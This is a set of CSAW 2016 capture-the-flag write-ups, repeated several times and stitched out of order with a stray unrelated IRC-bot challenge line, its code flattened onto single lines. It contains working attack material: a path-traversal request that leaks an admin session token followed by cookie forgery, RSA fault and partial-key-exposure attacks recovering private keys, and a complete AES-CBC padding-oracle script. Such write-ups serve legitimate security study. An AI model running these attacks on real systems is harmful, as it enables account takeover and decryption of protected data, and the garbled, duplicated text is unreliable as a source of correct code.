```GET /post.wtf?post=../../../../../../../../../../../tmp/wtf_runtime/wtf.sh/users*Host: web.chal.csaw.io:8001...<div class="post"><span>Posted by admin</span><span>facb59989c28a17cf481e2f5664d4aaeff1651b8</span><span>2xRnmiXo9/f7GCEXkdZ2XqdtaLUAe0KOl7xibP4rMfS82Kfy/PbNuwaDODgRctRxiUxG0ys5Aq5PLlbq4/GPiQ==</span></div>...```So, we have extracted the password hash and the token. We can set the token and get the flag as follows:
```Cookie: USERNAME=admin; TOKEN=2xRnmiXo9/f7GCEXkdZ2XqdtaLUAe0KOl7xibP4rMfS82Kfy/PbNuwaDODgRctRxiUxG0ys5Aq5PLlbq4/GPiQ==GET /profile.wtf?user=7tLx9 HTTP/1.1Host: web.chal.csaw.io:8001...flag{l00k_at_m3_I_am_th3_4dm1n_n0w}
```
# Coinslot (25 p)
```#Hope #Change #Obama2008
nc misc.chal.csaw.io 8000```
The only hard thing about this challenge is to make it handle floats properly, but Numpy and transforming to integer 1/100 parts solves it :-)
```pythonfrom pwn import *import numpy
s = remote('misc.chal.csaw.io', 8000)bills = [10000,5000,1000,500,100,50,20,10,5,1,0.5,0.25,0.1,0.05,0.01]while True: amount = float(s.recvuntil('\n')[1:]) amount = int(numpy.round(amount * 100)) send = [0] * len(bills) for i in range(len(bills)): while bills[i] * 100 <= amount: amount -= bills[i] * 100 send[i] += 1 for i in send: s.recvuntil(':') s.send(str(i) + '\n') print s.recvuntil('\n')```
After a lot of time, we get
```flag{started-from-the-bottom-now-my-whole-team-fucking-here}``` |
# Sleeping guard (50 p)```Only true hackers can see the image in this magic PNG....
nc crypto.chal.csaw.io 8000
Author: Sophia D'Antoine```
Connecting to the server, we get a BASE64 stream of data. Decrypting it, we see that it is not a valid PNG. Let us try simple XOR. We take a known plaintext from another PNG and try to XOR with the cipertext in hope to get the key.
```python# extracted from reference imageheader = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52, 0x00, 0x00, 0x07, 0x9C, 0x00, 0x00, 0x05, 0x7A, 0x08, 0x06, 0x00, 0x00, 0x00, 0x31, 0xA6, 0x00, 0xF6, 0x00, 0x00, 0x00]
f = open('magic.png', 'r')i = 0j = 8out = ''data = f.read()for char in data: out += chr(ord(char) ^ header[i % len(header)]) i += 1key = out[0:12]print 'Found key: {0}'.format(key)output = ''```
This gives us `WoAh_A_Key!?`. Re-using the code,
```pythonf = open('magic.png', 'r')i = 0data = f.read()for char in data: output += chr(ord(char) ^ ord(key[i % len(key)])) i += 1
f = open('decrypted.png', 'w')f.write(output)```
Running it, we decode the image as follows:

# Broken box (300 p)
```I made a RSA signature box, but the hardware is too old thatsometimes it returns me different answers... can you fix it for me?
e = 0x10001
nc crypto.chal.csaw.io 8002```The obvious guess of error source is a simple RSA-CRT fault. This means that there is an error in the CRT when computing the signature, which means gcd(sᵉ - m, N) > 1 allowing us to factor N. The following function tests if there are such anomalies:
```python
def test_crt_faults(): print '[+] Testing faults in CRT...'
for sig in faulty: ggcd = gcd(ver(sig) - msg, N) if ggcd > 1: print "[!] Found factor {0}".format(ggcd) break for fsig in faulty: if fsig != sig: # try to detect constant errors ggcd = gcd(N + ver(sig) - ver(fsig), N) ggcd = ggcd * gcd(ver(sig - fsig), N) if ggcd > 1: print "[!] Found factor {0}".format(ggcd) break if ggcd == 1: print '[-] No factors found...' ```
Turns out, there are no such faults present. Hmm... so what is a possible source of error? The modulus N or the exponent d. The modulus N is a bit cumbersome to handle, so lets try with the secret exponent!
First, we sample a lot of signatures from the service. Then, we split the set into a correct signature and several faulty ones.
```python
valid, faulty = [], []msg = 2f = open('sigs2.txt', 'r')
for line in f: sig = int(line) if ver(sig) == 2: valid.append(sig) else: faulty.append(sig)```
Assume that we have a proper signature s and a faulty signature f, then we may compute s × f⁻¹ = mᵈ × (mᵈ⁻ʲ)⁻¹ = mʲ. If it is a single-bit error, then j = ±2ⁱ. First we build a look-up table with all
```python look_up = {pow(msg, pow(2,i), N) : i for i in range(0,1024)}```
This is merely a way to quickly determine i from ±2ⁱ mod N. Then, for each faulty signature, we compute s × q⁻¹ and s⁻¹ × f and see if there is a match in the table. Since a bit flip is a simple xor, we need to take into account both the change 1 → 0 and 0 → 1. So, if s⁻¹ × f is in the table, then it means the contribution from the bit flip is positive. Therefore, d must be 0 in this position. Equivalently, if s × f⁻¹ is in the table, d must be 1 in that position. It remains to look at sufficiently many random signatures to fill the gaps in information of d.
A high-level description of the algorithm is as follows:
```psuedoalgorithm brokenbox(m): output: secret exponent d
precomputation: compute Q[mⁱ] = i for i ∈ {0,1...,1024}
online computation: 1. query oracle for signature of m 2. check if sᵉ = m (mod N) 3. if true, save it as reference value s. else, save in list L 4. repeat 1-3 until sufficiently many signatures have been obtained 5. for f ∈ L: compute s × f⁻¹ (mod N) and s⁻¹ × f (mod N) if s × f⁻¹ ∈ Q, set bit Q[s × f⁻¹] in d to 0 if s⁻¹ × f ∈ Q, set bit Q[s⁻¹ × f] in d to 1```
We achieve the recovery as follows:
```pythondef test_exponent_faults(): print '[+] Generating lookup...' number = ['?'] * 1024 look_up = {pow(msg, pow(2,i), N) : i for i in range(0,1024)} valid_inv = libnum.modular.invmod(valid[0], N) print '[+] Looking for matches and recovering secret exponent...' for sig in faulty: st = (sig * valid_inv) % N if st in look_up: number[look_up[st]] = '0' st = (libnum.modular.invmod(sig, N) * valid[0]) % N if st in look_up: number[look_up[st]] = '1' unknown = number.count('?') if unknown == 0: d = int(''.join(number[::-1]), 2) print 'Secret exponent is: {0}'.format(d) print 'Check:', valid[0] == pow(msg, d, N) return d else: print '[+] Recovered bits' print ''.join(number) print 'Remaining unknown: {0} / {1}'.format(unknown, len(number))```
For instance, after a few hundred faulty signatures, we have filled in the bit pattern:
```c???1???1??????0????0???0?0?11?1??1???1?1??1???????0010??1??10???????1001?1???????1?1?00?????????1?????0??0??1??0??0??100?0?0?01??10?01????????10??0???1??????1??0???0???0???0?0?0000?110?????1????0001?011?0??0??1?????????????1??????1??10???????0?1?10??????????0???0??0??0?????????1???1?1?1??????10?0110?????????0???1???1????0?0?0???????1??????????1????????11?????1??1??0?????00????????1??0?1???10???????11??01000??0???1????1?0???00?1??1?10??0????0???1???1?1??0????????1????1?1??0????1????1????0??01??11??0????0???????0?10????0????0???0????????1?????????11??0???0?????1????0????01????1???????100???????111?00?0??00????1?10??????????1?0????1???????0??1?0?11???11?????????????1??0???01????????1???0?1??????0001??????1???010???????100?1??????10?????0?01??1???0??????????1??1??0???0??????00??1??11??01?0?01?0?1????00????0???0?0?1????0?0??1?0??1????10???????1???00????10??0????0?1??????1?1?0?1?????1?1?01???10??1??????0????10???1?????0?10??????????1???110???1?01??0?????1????11??0?????11??0????1??1?0???11?0??0????1?????0??1?????10?```
Running a few more, we get
```[+] Found 1520 valid and 1510 faulty signatures![+] Generating lookup...[+] Looking for matches and recovering secret exponent...Secret exponent is: 1318114196677043534196699342738014984976469352105320281204477993086640079603572783402617238085 7263754840755090840323934490399778829656443966765971611093482241285542158667380890419360648113767904413268811547213257515039998690149350105787817443487153162937855786664238603417924072736209641094219963164897214757Check: Trueflag{br0k3n_h4rdw4r3_l34d5_70_b17_fl1pp1n6}```
# Still broken box (400 p)
```I fixed the RSA signature box I made, even though it still returns wrong answers sometimes, it get much better now.
e = 97
nc crypto.chal.csaw.io 8003```
Re-using the same code we wrote before, we get
```[+] Found 596 valid and 600 faulty signatures![+] Generating lookup...[+] Looking for matches and recovering secret exponent...[+] Recovered bits????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????000001100001101000010001101110010111100000001011001011000101010111100100111011111011101010111010110010111111001001100111001010000111110100010011001100001001110000001011101100000100111110100011000000101100011110110010110100010111000110011101000111010011011100111001101110001110110011111010111011101101
Remaining unknown: 724 / 1024```
Pretty much the same as above, but the error does only occur in the lower region of d. Also, about 1/4 of the bits. This is a case for a partial key exposure attack :-) We omitt the gritty details here, but it is pretty easy to understand when you realize that some mathematical relations hold when known only a subset of the bits of d. A short explanation:
Define s = p + q. We know that e × d (mod φ(N)) = 1. So, for some k ≤ e, we have
e × d - k × φ(N) = e × d - k × (N - s + 1) = 1.
Now, we can try all 0 ≤ k ≤ e and then solve the equation for s. Then, we can easily compute φ(N) = N - s + 1. It also holds for the partially know d, which we denote d' = d (mod 2³⁰⁰). Hence, it also holds that
e × d' - k × (N - s + 1) = 1 (mod 2³⁰⁰).
The, we solve a quadratic equation (this is the equation you would solve to factor N given φ(N)) for p
p² - s × p + N = 0 (mod 2³⁰⁰).
Note that we have to repeat this procedure for every choice of k.
Finally, we use a Theorem due to Coppersmith which states that we can factor N in time O(poly(log(N))). For more info, see my other writeups e.g. [this one](https://grocid.net/2016/03/14/0ctf-equation/). We can implement the above in Sage as follows:
```pythond = 48553333005218622988737502487331247543207235050962932759743329631099614121360173210513133known_bits = 300X = var('X')d0 = d % (2 ** known_bits)P.<x> = PolynomialRing(Zmod(N))
print '[ ] Thinking...'for k in xrange(1, e+1): results = solve_mod([e * d0 * X - k * X * (N - X + 1) + k * N == X], 2 ** 300)
for m in results: f = x * 2 ** known_bits + ZZ(m[0]) f = f.monic() roots = f.small_roots(X = 2 ** (N.nbits() / 2 - known_bits), beta=0.3)
if roots: x0 = roots[0] p = gcd(2 ** known_bits * x0 + ZZ(m[0]), N) print '[+] Found factorization!' print 'p =', ZZ(p) print 'q =', N / ZZ(p) break```
If we run it, we get
```[ ] Thinking...[+] Found factorization!p = 11508259255609528178782985672384489181881780969423759372962395789423779211087080016838545204916636221839732993706338791571211260830264085606598128514985547 q = 10734991637891904881084049063230500677461594645206400955916129307892684665074341324245311828467206439443570911177697615473846955787537749526647352553710047```
We can compute d = e⁻¹ mod φ(N). Using the found d to decrypt, we determine the flag
```flag{n3v3r_l34k_4ny_51n6l3_b17_0f_pr1v473_k3y}```
# Neo (200 p)
```Your life has been boring, seemingly meaningless up until now. A man in a black suit with fresh shades is standing in front of you telling you thatyou are The One. Do you chose to go down this hole? Or just sit around pwning n00bs for the rest of your life?
http://crypto.chal.csaw.io:8001/```
We get to a page with an input, already containing some BASE64-encoded data. Substituting it with some gibberish (as can be seen below), yields and interesting error...

So, it is AES! Alright then... there is an encrypted id or token. It seems random, but that may just be the IV. Also, the image about suggests that the Matrix is vulnerable to a padding-oracle attack. In brief words, this is an attack which exploits the property of AES-CBC that Pᵢ = Dec(Cᵢ, k) ⊕ Cᵢ₋₁. Since the function Dec is bijective, we have that for an altered ciphertext C'ᵢ₋₁ there exists a valid plaintext P'ᵢ₋₁ = Dec(Cᵢ₋₁, k) (although it is probably just gibberish, it will not cause an error!). So, by flipping bits Cᵢ₋₁, we can cause Pᵢ to have a non-proper padding which will cause an error that we may be notified about (this is the case here!). By setting modifying Cᵢ₋₁ so that
C'ᵢ₋₁ = Cᵢ₋₁ ⊕ 0x0...1 ⊕ 0x0...0[guessed byte]
we can determine the value in the corresponding position of Pᵢ.
First, we define an oracle as follows:
```pythondef oracle(payload): global responses r = requests.post('http://crypto.chal.csaw.io:8001', data = {'matrix-id' : base64.b64encode(binascii.unhexlify(payload))}) if 'Caught exception during AES decryption...' in r.text: responses[payload] = False else: responses[payload] = True```
So, if there is padding error, it will return `False` and otherwise `True`. In the [id0-rsa](http://id0-rsa.pub) challenge, I wrote a multi-threaded padding-oracle code in Python (which finishes the attack in no time at all :-D). We will re-use this code here!
If we set the parameters
```pythonimport requests, base64, binasciiimport thread, time, string, urllib2, copy
threads = 20alphabet = ''.join([chr(i) for i in range(16)]) + string.printablealphabet_blocks = [alphabet[i : i + threads] for i in range(0, len(alphabet), threads)]data = 'vwqB+7cWkxMC6fY55NZW6y/LcdkUJqakXtMZIpS1YqbkfRYYOh0DKTr9Mp2QwNLZkBjyuLbNLghhSVNkHcng+Vpmp5WT5OAnhUlEr+LyBAU='ciphertext = binascii.hexlify(base64.b64decode(data))[:] # adjust to get other blocksoffset = len(ciphertext)/2-16```
and then, the very heart of the padding-oracle code:
```pythondef flip_cipher(ciphertext, known, i): modified_ciphertext = copy.copy(ciphertext) for j in range(1, i): modified_ciphertext[offset-j] = ciphertext[offset-j] ^ ord(known[-j]) ^ i return modified_ciphertext ciphertext = [int(ciphertext[i:i+2], 16) for i in range(0, len(ciphertext), 2)]count, known = 1, ''
while True: print 'Found so far:', [known] for block in alphabet_blocks: responses, payloads = {}, {} modified_ciphertext = flip_cipher(ciphertext, known, count) for char in block: modified_ciphertext[offset-count] = ciphertext[offset-count] ^ ord(char) ^ count payloads[''.join([hex(symbol)[2:].zfill(2) for symbol in modified_ciphertext])] = char for payload in payloads.keys(): thread.start_new_thread(oracle, (payload,)) while len(responses.keys()) != len(payloads): time.sleep(0.1) if True in responses.values(): known = payloads[responses.keys()[responses.values().index(True)]] + known alphabet_blocks.remove(block) alphabet_blocks.insert(0, block) count = count + 1 break```
and execute it for different from-right truncated ciphertexts, we obtain
```Found so far: ['flag{what_if_i_t']Found so far: ['old_you_you_solv']Found so far: ['ed_the_challenge']Found so far: ['}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f']```
So, by removing the padding, we get the flag
```flag{what_if_i_told_you_you_solved_the_challenge}```Great!# wtf.sh (150 p)
```WTF.SH(1) Quals WTF.SH(1)
NAME wtf.sh - A webserver written in bash
SYNOPSIS wtf.sh port
DESCRIPTION wtf.sh is a webserver written in bash. Do I need to say more?
FLAG You can get the flag to this first part of the problem by getting the website to run the get_flag1 command. I heard the admin likes to launch it when he visits his own profile.
ACCESS You can find wtf.sh at http://web.chal.csaw.io:8001/
AUTHOR Written by _Hyper_ http://github.com/Hyper- sonic/
SUPERHERO ORIGIN STORY I have deep-rooted problems That involve childhood trauma of too many shells It was ksh, zsh, bash, dash They just never stopped On that day I swore I would have vengeance I became The Bashman
REPORTING BUGS Report your favorite bugs in wtf.sh at http://ctf.csaw.io
SEE ALSO wtf.sh(2)
CSAW 2016 September 2016 WTF.SH(1)```
Seemingly, we can enumerate users on the service.
```GET /post.wtf?post=../../../../../../../../../../../tmp/wtf_runtime/wtf.sh/users*Host: web.chal.csaw.io:8001...<div class="post"><span>Posted by admin</span><span>facb59989c28a17cf481e2f5664d4aaeff1651b8</span><span>2xRnmiXo9/f7GCEXkdZ2XqdtaLUAe0KOl7xibP4rMfS82Kfy/PbNuwaDODgRctRxiUxG0ys5Aq5PLlbq4/GPiQ==</span></div>...```So, we have extracted the password hash and the token. We can set the token and get the flag as follows:
```Cookie: USERNAME=admin; TOKEN=2xRnmiXo9/f7GCEXkdZ2XqdtaLUAe0KOl7xibP4rMfS82Kfy/PbNuwaDODgRctRxiUxG0ys5Aq5PLlbq4/GPiQ==GET /profile.wtf?user=7tLx9 HTTP/1.1Host: web.chal.csaw.io:8001...flag{l00k_at_m3_I_am_th3_4dm1n_n0w}
```
# Coinslot (25 p)
```#Hope #Change #Obama2008
nc misc.chal.csaw.io 8000```
The only hard thing about this challenge is to make it handle floats properly, but Numpy and transforming to integer 1/100 parts solves it :-)
```pythonfrom pwn import *import numpy
s = remote('misc.chal.csaw.io', 8000)bills = [10000,5000,1000,500,100,50,20,10,5,1,0.5,0.25,0.1,0.05,0.01]while True: amount = float(s.recvuntil('\n')[1:]) amount = int(numpy.round(amount * 100)) send = [0] * len(bills) for i in range(len(bills)): while bills[i] * 100 <= amount: amount -= bills[i] * 100 send[i] += 1 for i in send: s.recvuntil(':') s.send(str(i) + '\n') print s.recvuntil('\n')```
After a lot of time, we get
```flag{started-from-the-bottom-now-my-whole-team-fucking-here}``` |
Can you trick our IRC bot into giving you his flag? Talk to IceBot on glitch.is:6667. Please only send him private messages, you do this by writing /msg IceBot !command. the "help" command has been removed so here is the output from !help. Please consider that he may be slow to respond or the command you're trying may not work. |
# Sleeping guard (50 p)```Only true hackers can see the image in this magic PNG....
nc crypto.chal.csaw.io 8000
Author: Sophia D'Antoine```
Connecting to the server, we get a BASE64 stream of data. Decrypting it, we see that it is not a valid PNG. Let us try simple XOR. We take a known plaintext from another PNG and try to XOR with the cipertext in hope to get the key.
```python# extracted from reference imageheader = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52, 0x00, 0x00, 0x07, 0x9C, 0x00, 0x00, 0x05, 0x7A, 0x08, 0x06, 0x00, 0x00, 0x00, 0x31, 0xA6, 0x00, 0xF6, 0x00, 0x00, 0x00]
f = open('magic.png', 'r')i = 0j = 8out = ''data = f.read()for char in data: out += chr(ord(char) ^ header[i % len(header)]) i += 1key = out[0:12]print 'Found key: {0}'.format(key)output = ''```
This gives us `WoAh_A_Key!?`. Re-using the code,
```pythonf = open('magic.png', 'r')i = 0data = f.read()for char in data: output += chr(ord(char) ^ ord(key[i % len(key)])) i += 1
f = open('decrypted.png', 'w')f.write(output)```
Running it, we decode the image as follows:

# Broken box (300 p)
```I made a RSA signature box, but the hardware is too old thatsometimes it returns me different answers... can you fix it for me?
e = 0x10001
nc crypto.chal.csaw.io 8002```The obvious guess of error source is a simple RSA-CRT fault. This means that there is an error in the CRT when computing the signature, which means gcd(sᵉ - m, N) > 1 allowing us to factor N. The following function tests if there are such anomalies:
```python
def test_crt_faults(): print '[+] Testing faults in CRT...'
for sig in faulty: ggcd = gcd(ver(sig) - msg, N) if ggcd > 1: print "[!] Found factor {0}".format(ggcd) break for fsig in faulty: if fsig != sig: # try to detect constant errors ggcd = gcd(N + ver(sig) - ver(fsig), N) ggcd = ggcd * gcd(ver(sig - fsig), N) if ggcd > 1: print "[!] Found factor {0}".format(ggcd) break if ggcd == 1: print '[-] No factors found...' ```
Turns out, there are no such faults present. Hmm... so what is a possible source of error? The modulus N or the exponent d. The modulus N is a bit cumbersome to handle, so lets try with the secret exponent!
First, we sample a lot of signatures from the service. Then, we split the set into a correct signature and several faulty ones.
```python
valid, faulty = [], []msg = 2f = open('sigs2.txt', 'r')
for line in f: sig = int(line) if ver(sig) == 2: valid.append(sig) else: faulty.append(sig)```
Assume that we have a proper signature s and a faulty signature f, then we may compute s × f⁻¹ = mᵈ × (mᵈ⁻ʲ)⁻¹ = mʲ. If it is a single-bit error, then j = ±2ⁱ. First we build a look-up table with all
```python look_up = {pow(msg, pow(2,i), N) : i for i in range(0,1024)}```
This is merely a way to quickly determine i from ±2ⁱ mod N. Then, for each faulty signature, we compute s × q⁻¹ and s⁻¹ × f and see if there is a match in the table. Since a bit flip is a simple xor, we need to take into account both the change 1 → 0 and 0 → 1. So, if s⁻¹ × f is in the table, then it means the contribution from the bit flip is positive. Therefore, d must be 0 in this position. Equivalently, if s × f⁻¹ is in the table, d must be 1 in that position. It remains to look at sufficiently many random signatures to fill the gaps in information of d.
A high-level description of the algorithm is as follows:
```psuedoalgorithm brokenbox(m): output: secret exponent d
precomputation: compute Q[mⁱ] = i for i ∈ {0,1...,1024}
online computation: 1. query oracle for signature of m 2. check if sᵉ = m (mod N) 3. if true, save it as reference value s. else, save in list L 4. repeat 1-3 until sufficiently many signatures have been obtained 5. for f ∈ L: compute s × f⁻¹ (mod N) and s⁻¹ × f (mod N) if s × f⁻¹ ∈ Q, set bit Q[s × f⁻¹] in d to 0 if s⁻¹ × f ∈ Q, set bit Q[s⁻¹ × f] in d to 1```
We achieve the recovery as follows:
```pythondef test_exponent_faults(): print '[+] Generating lookup...' number = ['?'] * 1024 look_up = {pow(msg, pow(2,i), N) : i for i in range(0,1024)} valid_inv = libnum.modular.invmod(valid[0], N) print '[+] Looking for matches and recovering secret exponent...' for sig in faulty: st = (sig * valid_inv) % N if st in look_up: number[look_up[st]] = '0' st = (libnum.modular.invmod(sig, N) * valid[0]) % N if st in look_up: number[look_up[st]] = '1' unknown = number.count('?') if unknown == 0: d = int(''.join(number[::-1]), 2) print 'Secret exponent is: {0}'.format(d) print 'Check:', valid[0] == pow(msg, d, N) return d else: print '[+] Recovered bits' print ''.join(number) print 'Remaining unknown: {0} / {1}'.format(unknown, len(number))```
For instance, after a few hundred faulty signatures, we have filled in the bit pattern:
```c???1???1??????0????0???0?0?11?1??1???1?1??1???????0010??1??10???????1001?1???????1?1?00?????????1?????0??0??1??0??0??100?0?0?01??10?01????????10??0???1??????1??0???0???0???0?0?0000?110?????1????0001?011?0??0??1?????????????1??????1??10???????0?1?10??????????0???0??0??0?????????1???1?1?1??????10?0110?????????0???1???1????0?0?0???????1??????????1????????11?????1??1??0?????00????????1??0?1???10???????11??01000??0???1????1?0???00?1??1?10??0????0???1???1?1??0????????1????1?1??0????1????1????0??01??11??0????0???????0?10????0????0???0????????1?????????11??0???0?????1????0????01????1???????100???????111?00?0??00????1?10??????????1?0????1???????0??1?0?11???11?????????????1??0???01????????1???0?1??????0001??????1???010???????100?1??????10?????0?01??1???0??????????1??1??0???0??????00??1??11??01?0?01?0?1????00????0???0?0?1????0?0??1?0??1????10???????1???00????10??0????0?1??????1?1?0?1?????1?1?01???10??1??????0????10???1?????0?10??????????1???110???1?01??0?????1????11??0?????11??0????1??1?0???11?0??0????1?????0??1?????10?```
Running a few more, we get
```[+] Found 1520 valid and 1510 faulty signatures![+] Generating lookup...[+] Looking for matches and recovering secret exponent...Secret exponent is: 1318114196677043534196699342738014984976469352105320281204477993086640079603572783402617238085 7263754840755090840323934490399778829656443966765971611093482241285542158667380890419360648113767904413268811547213257515039998690149350105787817443487153162937855786664238603417924072736209641094219963164897214757Check: Trueflag{br0k3n_h4rdw4r3_l34d5_70_b17_fl1pp1n6}```
# Still broken box (400 p)
```I fixed the RSA signature box I made, even though it still returns wrong answers sometimes, it get much better now.
e = 97
nc crypto.chal.csaw.io 8003```
Re-using the same code we wrote before, we get
```[+] Found 596 valid and 600 faulty signatures![+] Generating lookup...[+] Looking for matches and recovering secret exponent...[+] Recovered bits????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????000001100001101000010001101110010111100000001011001011000101010111100100111011111011101010111010110010111111001001100111001010000111110100010011001100001001110000001011101100000100111110100011000000101100011110110010110100010111000110011101000111010011011100111001101110001110110011111010111011101101
Remaining unknown: 724 / 1024```
Pretty much the same as above, but the error does only occur in the lower region of d. Also, about 1/4 of the bits. This is a case for a partial key exposure attack :-) We omitt the gritty details here, but it is pretty easy to understand when you realize that some mathematical relations hold when known only a subset of the bits of d. A short explanation:
Define s = p + q. We know that e × d (mod φ(N)) = 1. So, for some k ≤ e, we have
e × d - k × φ(N) = e × d - k × (N - s + 1) = 1.
Now, we can try all 0 ≤ k ≤ e and then solve the equation for s. Then, we can easily compute φ(N) = N - s + 1. It also holds for the partially know d, which we denote d' = d (mod 2³⁰⁰). Hence, it also holds that
e × d' - k × (N - s + 1) = 1 (mod 2³⁰⁰).
The, we solve a quadratic equation (this is the equation you would solve to factor N given φ(N)) for p
p² - s × p + N = 0 (mod 2³⁰⁰).
Note that we have to repeat this procedure for every choice of k.
Finally, we use a Theorem due to Coppersmith which states that we can factor N in time O(poly(log(N))). For more info, see my other writeups e.g. [this one](https://grocid.net/2016/03/14/0ctf-equation/). We can implement the above in Sage as follows:
```pythond = 48553333005218622988737502487331247543207235050962932759743329631099614121360173210513133known_bits = 300X = var('X')d0 = d % (2 ** known_bits)P.<x> = PolynomialRing(Zmod(N))
print '[ ] Thinking...'for k in xrange(1, e+1): results = solve_mod([e * d0 * X - k * X * (N - X + 1) + k * N == X], 2 ** 300)
for m in results: f = x * 2 ** known_bits + ZZ(m[0]) f = f.monic() roots = f.small_roots(X = 2 ** (N.nbits() / 2 - known_bits), beta=0.3)
if roots: x0 = roots[0] p = gcd(2 ** known_bits * x0 + ZZ(m[0]), N) print '[+] Found factorization!' print 'p =', ZZ(p) print 'q =', N / ZZ(p) break```
If we run it, we get
```[ ] Thinking...[+] Found factorization!p = 11508259255609528178782985672384489181881780969423759372962395789423779211087080016838545204916636221839732993706338791571211260830264085606598128514985547 q = 10734991637891904881084049063230500677461594645206400955916129307892684665074341324245311828467206439443570911177697615473846955787537749526647352553710047```
We can compute d = e⁻¹ mod φ(N). Using the found d to decrypt, we determine the flag
```flag{n3v3r_l34k_4ny_51n6l3_b17_0f_pr1v473_k3y}```
# Neo (200 p)
```Your life has been boring, seemingly meaningless up until now. A man in a black suit with fresh shades is standing in front of you telling you thatyou are The One. Do you chose to go down this hole? Or just sit around pwning n00bs for the rest of your life?
http://crypto.chal.csaw.io:8001/```
We get to a page with an input, already containing some BASE64-encoded data. Substituting it with some gibberish (as can be seen below), yields and interesting error...

So, it is AES! Alright then... there is an encrypted id or token. It seems random, but that may just be the IV. Also, the image about suggests that the Matrix is vulnerable to a padding-oracle attack. In brief words, this is an attack which exploits the property of AES-CBC that Pᵢ = Dec(Cᵢ, k) ⊕ Cᵢ₋₁. Since the function Dec is bijective, we have that for an altered ciphertext C'ᵢ₋₁ there exists a valid plaintext P'ᵢ₋₁ = Dec(Cᵢ₋₁, k) (although it is probably just gibberish, it will not cause an error!). So, by flipping bits Cᵢ₋₁, we can cause Pᵢ to have a non-proper padding which will cause an error that we may be notified about (this is the case here!). By setting modifying Cᵢ₋₁ so that
C'ᵢ₋₁ = Cᵢ₋₁ ⊕ 0x0...1 ⊕ 0x0...0[guessed byte]
we can determine the value in the corresponding position of Pᵢ.
First, we define an oracle as follows:
```pythondef oracle(payload): global responses r = requests.post('http://crypto.chal.csaw.io:8001', data = {'matrix-id' : base64.b64encode(binascii.unhexlify(payload))}) if 'Caught exception during AES decryption...' in r.text: responses[payload] = False else: responses[payload] = True```
So, if there is padding error, it will return `False` and otherwise `True`. In the [id0-rsa](http://id0-rsa.pub) challenge, I wrote a multi-threaded padding-oracle code in Python (which finishes the attack in no time at all :-D). We will re-use this code here!
If we set the parameters
```pythonimport requests, base64, binasciiimport thread, time, string, urllib2, copy
threads = 20alphabet = ''.join([chr(i) for i in range(16)]) + string.printablealphabet_blocks = [alphabet[i : i + threads] for i in range(0, len(alphabet), threads)]data = 'vwqB+7cWkxMC6fY55NZW6y/LcdkUJqakXtMZIpS1YqbkfRYYOh0DKTr9Mp2QwNLZkBjyuLbNLghhSVNkHcng+Vpmp5WT5OAnhUlEr+LyBAU='ciphertext = binascii.hexlify(base64.b64decode(data))[:] # adjust to get other blocksoffset = len(ciphertext)/2-16```
and then, the very heart of the padding-oracle code:
```pythondef flip_cipher(ciphertext, known, i): modified_ciphertext = copy.copy(ciphertext) for j in range(1, i): modified_ciphertext[offset-j] = ciphertext[offset-j] ^ ord(known[-j]) ^ i return modified_ciphertext ciphertext = [int(ciphertext[i:i+2], 16) for i in range(0, len(ciphertext), 2)]count, known = 1, ''
while True: print 'Found so far:', [known] for block in alphabet_blocks: responses, payloads = {}, {} modified_ciphertext = flip_cipher(ciphertext, known, count) for char in block: modified_ciphertext[offset-count] = ciphertext[offset-count] ^ ord(char) ^ count payloads[''.join([hex(symbol)[2:].zfill(2) for symbol in modified_ciphertext])] = char for payload in payloads.keys(): thread.start_new_thread(oracle, (payload,)) while len(responses.keys()) != len(payloads): time.sleep(0.1) if True in responses.values(): known = payloads[responses.keys()[responses.values().index(True)]] + known alphabet_blocks.remove(block) alphabet_blocks.insert(0, block) count = count + 1 break```
and execute it for different from-right truncated ciphertexts, we obtain
```Found so far: ['flag{what_if_i_t']Found so far: ['old_you_you_solv']Found so far: ['ed_the_challenge']Found so far: ['}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f']```
So, by removing the padding, we get the flag
```flag{what_if_i_told_you_you_solved_the_challenge}```Great!# wtf.sh (150 p)
```WTF.SH(1) Quals WTF.SH(1)
NAME wtf.sh - A webserver written in bash
SYNOPSIS wtf.sh port
DESCRIPTION wtf.sh is a webserver written in bash. Do I need to say more?
FLAG You can get the flag to this first part of the problem by getting the website to run the get_flag1 command. I heard the admin likes to launch it when he visits his own profile.
ACCESS You can find wtf.sh at http://web.chal.csaw.io:8001/
AUTHOR Written by _Hyper_ http://github.com/Hyper- sonic/
SUPERHERO ORIGIN STORY I have deep-rooted problems That involve childhood trauma of too many shells It was ksh, zsh, bash, dash They just never stopped On that day I swore I would have vengeance I became The Bashman
REPORTING BUGS Report your favorite bugs in wtf.sh at http://ctf.csaw.io
SEE ALSO wtf.sh(2)
CSAW 2016 September 2016 WTF.SH(1)```
Seemingly, we can enumerate users on the service.
```GET /post.wtf?post=../../../../../../../../../../../tmp/wtf_runtime/wtf.sh/users*Host: web.chal.csaw.io:8001...<div class="post"><span>Posted by admin</span><span>facb59989c28a17cf481e2f5664d4aaeff1651b8</span><span>2xRnmiXo9/f7GCEXkdZ2XqdtaLUAe0KOl7xibP4rMfS82Kfy/PbNuwaDODgRctRxiUxG0ys5Aq5PLlbq4/GPiQ==</span></div>...```So, we have extracted the password hash and the token. We can set the token and get the flag as follows:
